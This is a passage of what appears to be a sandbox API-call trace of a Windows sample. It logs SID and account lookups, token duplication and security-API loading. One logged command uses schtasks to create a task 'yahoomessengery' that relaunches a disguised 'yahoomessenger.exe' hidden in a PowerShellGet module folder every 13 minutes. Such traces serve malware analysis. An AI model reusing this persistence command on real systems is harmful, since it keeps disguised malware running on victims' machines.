SysStringLen (param_1="3835049652") returned 0xa [0065.507] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0065.507] memcpy (in: _Dst=0x34dbb6, _Src=0x381268, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0065.507] free (_Block=0xeef00) [0065.508] free (_Block=0xef020) [0065.508] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0065.508] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0065.508] malloc (_Size=0x18) returned 0xef020 [0065.508] malloc (_Size=0x18) returned 0xeef00 [0065.508] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0065.508] SysStringLen (param_1="-") returned 0x1 [0065.508] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0065.508] memcpy (in: _Dst=0x34daba, _Src=0x381268, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0065.508] free (_Block=0xef040) [0065.508] free (_Block=0xef020) [0065.508] malloc (_Size=0x18) returned 0xef020 [0065.508] malloc (_Size=0x18) returned 0xef040 [0065.508] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0065.508] SysStringLen (param_1="1000") returned 0x4 [0065.508] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0065.508] memcpy (in: _Dst=0x34dbcc, _Src=0x381268, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0065.508] free (_Block=0xeef00) [0065.508] free (_Block=0xef020) [0065.508] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0065.508] malloc (_Size=0x5e) returned 0xf0800 [0065.508] free (_Block=0xef040) [0065.508] malloc (_Size=0x18) returned 0xef040 [0065.510] free (_Block=0xf0800) [0065.510] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0065.510] GetLastError () returned 0x7a [0065.510] malloc (_Size=0x14) returned 0xef020 [0065.511] malloc (_Size=0x16) returned 0xeef00 [0065.511] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0065.511] malloc (_Size=0x18) returned 0xeef20 [0065.511] malloc (_Size=0x18) returned 0xef0a0 [0065.511] free (_Block=0xef020) [0065.511] free (_Block=0xeef00) [0065.511] free (_Block=0xeff60) [0065.512] free (_Block=0xef0a0) [0065.512] free (_Block=0xeef20) [0065.512] free (_Block=0xef040) [0065.513] free (_Block=0xee240) [0065.513] malloc (_Size=0x48) returned 0xed400 [0065.513] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0065.518] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0065.518] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0065.518] malloc (_Size=0x18) returned 0xef040 [0065.518] CreateEnvironmentBlock () returned 0x1 [0065.523] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0065.523] malloc (_Size=0x18) returned 0xeef20 [0065.523] CreateProcessAsUserW (in: hToken=0x24c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"yahoomessengery\" /sc MINUTE /mo 13 /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"yahoomessengery\" /sc MINUTE /mo 13 /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xf54, dwThreadId=0xf58)) returned 1 [0065.527] CloseHandle (hObject=0x2fc) returned 1 [0065.528] CloseHandle (hObject=0x248) returned 1 [0065.528] free (_Block=0xeef20) [0065.528] DestroyEnvironmentBlock () returned 0x1 [0065.528] malloc (_Size=0x48) returned 0xed270 [0065.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x50246e40, dwHighDateTime=0x1d9eb0c)) [0065.528] SetEvent (hEvent=0x1f0) returned 1 [0065.529] CloseHandle (hObject=0x234) returned 1 [0065.529] CloseHandle (hObject=0x24c) returned 1 [0065.623] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0065.623] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0065.623] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0066.050] SetLastError (dwErrCode=0x0) [0066.050] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0066.050] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0066.050] SetLastError (dwErrCode=0x0) [0066.050] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0066.050] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0066.050] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0066.050] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f530 [0066.050] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f530, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0066.050] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f530 | out: hHeap=0x2e0000) returned 1 [0066.052] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0066.053] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0066.053] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0066.053] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0066.053] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0066.053] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0066.054] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0066.055] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0066.055] GetCurrentThread () returned 0xfffffffffffffffe [0066.055] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x24c) returned 1 [0066.055] malloc (_Size=0xd8) returned 0xf3750 [0066.056] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0066.056] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0066.056] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0066.056] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0066.056] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0066.057] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0066.057] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0066.057] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0066.057] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0066.057] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0066.057] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0066.057] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0066.058] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0066.058] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0066.058] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0066.058] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0066.058] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0066.058] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0066.058] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0066.059] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0066.059] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0066.059] malloc (_Size=0x18) returned 0xeef60 [0066.059] DuplicateTokenEx (in: hExistingToken=0x24c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0066.059] malloc (_Size=0x48) returned 0xed2c0 [0066.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x50755d00, dwHighDateTime=0x1d9eb0c)) [0066.059] SetEvent (hEvent=0x1f0) returned 1 [0066.063] GetTokenInformation (in: TokenHandle=0x24c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0066.064] GetLastError () returned 0x7a [0066.064] malloc (_Size=0x2c) returned 0xee200 [0066.064] GetTokenInformation (in: TokenHandle=0x24c, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0066.064] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0066.064] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0066.064] malloc (_Size=0x1c) returned 0xeff30 [0066.064] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0066.064] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0066.064] malloc (_Size=0x18) returned 0xef040 [0066.064] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0066.064] malloc (_Size=0x18) returned 0xeef20 [0066.064] malloc (_Size=0x18) returned 0xef0a0 [0066.064] SysStringLen (param_1="S-1-") returned 0x4 [0066.064] SysStringLen (param_1="5") returned 0x1 [0066.064] memcpy (in: _Dst=0x381118, _Src=0x3812f8, _Size=0xa | out: _Dst=0x381118) returned 0x381118 [0066.064] memcpy (in: _Dst=0x381120, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381120) returned 0x381120 [0066.064] free (_Block=0xef040) [0066.064] free (_Block=0xeef20) [0066.064] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0066.064] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0066.064] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0066.064] malloc (_Size=0x18) returned 0xeef20 [0066.064] malloc (_Size=0x18) returned 0xef040 [0066.064] SysStringLen (param_1="S-1-5") returned 0x5 [0066.064] SysStringLen (param_1="-") returned 0x1 [0066.065] memcpy (in: _Dst=0x3810e8, _Src=0x381118, _Size=0xc | out: _Dst=0x3810e8) returned 0x3810e8 [0066.065] memcpy (in: _Dst=0x3810f2, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3810f2) returned 0x3810f2 [0066.065] free (_Block=0xef0a0) [0066.065] free (_Block=0xeef20) [0066.065] malloc (_Size=0x18) returned 0xeef20 [0066.065] malloc (_Size=0x18) returned 0xef0a0 [0066.065] SysStringLen (param_1="S-1-5-") returned 0x6 [0066.065] SysStringLen (param_1="21") returned 0x2 [0066.065] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0xe | out: _Dst=0x3812f8) returned 0x3812f8 [0066.065] memcpy (in: _Dst=0x381304, _Src=0x381118, _Size=0x6 | out: _Dst=0x381304) returned 0x381304 [0066.065] free (_Block=0xef040) [0066.065] free (_Block=0xeef20) [0066.065] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0066.065] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0066.065] malloc (_Size=0x18) returned 0xeef20 [0066.065] malloc (_Size=0x18) returned 0xef040 [0066.065] SysStringLen (param_1="S-1-5-21") returned 0x8 [0066.065] SysStringLen (param_1="-") returned 0x1 [0066.065] memcpy (in: _Dst=0x381118, _Src=0x3812f8, _Size=0x12 | out: _Dst=0x381118) returned 0x381118 [0066.065] memcpy (in: _Dst=0x381128, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381128) returned 0x381128 [0066.065] free (_Block=0xef0a0) [0066.065] free (_Block=0xeef20) [0066.065] malloc (_Size=0x18) returned 0xeef20 [0066.065] malloc (_Size=0x18) returned 0xef0a0 [0066.066] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0066.066] SysStringLen (param_1="4219442223") returned 0xa [0066.066] memcpy (in: _Dst=0x337af8, _Src=0x381118, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0066.066] memcpy (in: _Dst=0x337b0a, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0066.066] free (_Block=0xef040) [0066.066] free (_Block=0xeef20) [0066.066] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0066.066] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0066.066] malloc (_Size=0x18) returned 0xeef20 [0066.066] malloc (_Size=0x18) returned 0xef040 [0066.066] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0066.066] SysStringLen (param_1="-") returned 0x1 [0066.066] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0066.066] memcpy (in: _Dst=0x337a7e, _Src=0x381118, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0066.066] free (_Block=0xef0a0) [0066.066] free (_Block=0xeef20) [0066.066] malloc (_Size=0x18) returned 0xeef20 [0066.066] malloc (_Size=0x18) returned 0xef0a0 [0066.066] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0066.066] SysStringLen (param_1="4223814209") returned 0xa [0066.066] memcpy (in: _Dst=0x34d958, _Src=0x337a58, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0066.066] memcpy (in: _Dst=0x34d980, _Src=0x381118, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0066.066] free (_Block=0xef040) [0066.066] free (_Block=0xeef20) [0066.066] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0066.067] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0066.067] malloc (_Size=0x18) returned 0xeef20 [0066.067] malloc (_Size=0x18) returned 0xef040 [0066.067] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0066.067] SysStringLen (param_1="-") returned 0x1 [0066.067] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0066.067] memcpy (in: _Dst=0x3276a4, _Src=0x381118, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0066.067] free (_Block=0xef0a0) [0066.067] free (_Block=0xeef20) [0066.067] malloc (_Size=0x18) returned 0xeef20 [0066.067] malloc (_Size=0x18) returned 0xef0a0 [0066.067] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0066.067] SysStringLen (param_1="3835049652") returned 0xa [0066.067] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0066.067] memcpy (in: _Dst=0x34d996, _Src=0x381118, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0066.067] free (_Block=0xef040) [0066.067] free (_Block=0xeef20) [0066.067] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0066.067] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0066.067] malloc (_Size=0x18) returned 0xeef20 [0066.067] malloc (_Size=0x18) returned 0xef040 [0066.067] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0066.067] SysStringLen (param_1="-") returned 0x1 [0066.067] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0066.068] memcpy (in: _Dst=0x3276ba, _Src=0x381118, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0066.068] free (_Block=0xef0a0) [0066.068] free (_Block=0xeef20) [0066.068] malloc (_Size=0x18) returned 0xeef20 [0066.068] malloc (_Size=0x18) returned 0xef0a0 [0066.068] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0066.068] SysStringLen (param_1="1000") returned 0x4 [0066.068] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0066.068] memcpy (in: _Dst=0x34d9ac, _Src=0x381118, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0066.068] free (_Block=0xef040) [0066.068] free (_Block=0xeef20) [0066.068] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0066.068] malloc (_Size=0x5e) returned 0xf0800 [0066.068] free (_Block=0xef0a0) [0066.068] malloc (_Size=0x18) returned 0xef0a0 [0066.069] free (_Block=0xf0800) [0066.069] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0066.069] GetLastError () returned 0x7a [0066.069] malloc (_Size=0x14) returned 0xeef20 [0066.069] malloc (_Size=0x16) returned 0xef040 [0066.070] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebcca4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0066.070] malloc (_Size=0x18) returned 0xeef00 [0066.070] malloc (_Size=0x18) returned 0xef020 [0066.070] free (_Block=0xeef20) [0066.070] free (_Block=0xef040) [0066.070] free (_Block=0xeff30) [0066.071] free (_Block=0xef020) [0066.071] free (_Block=0xeef00) [0066.071] free (_Block=0xef0a0) [0066.071] free (_Block=0xee200) [0066.071] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0066.071] GetTokenInformation (in: TokenHandle=0x24c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0066.071] GetLastError () returned 0x7a [0066.071] malloc (_Size=0x2c) returned 0xee240 [0066.071] GetTokenInformation (in: TokenHandle=0x24c, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0066.071] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0066.071] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0066.071] malloc (_Size=0x1c) returned 0xeff30 [0066.071] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0066.072] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0066.072] malloc (_Size=0x18) returned 0xef0a0 [0066.072] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0066.072] malloc (_Size=0x18) returned 0xeef00 [0066.072] malloc (_Size=0x18) returned 0xef020 [0066.072] SysStringLen (param_1="S-1-") returned 0x4 [0066.072] SysStringLen (param_1="5") returned 0x1 [0066.072] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0xa | out: _Dst=0x3812f8) returned 0x3812f8 [0066.072] memcpy (in: _Dst=0x381300, _Src=0x381118, _Size=0x4 | out: _Dst=0x381300) returned 0x381300 [0066.072] free (_Block=0xef0a0) [0066.072] free (_Block=0xeef00) [0066.072] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0066.072] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, 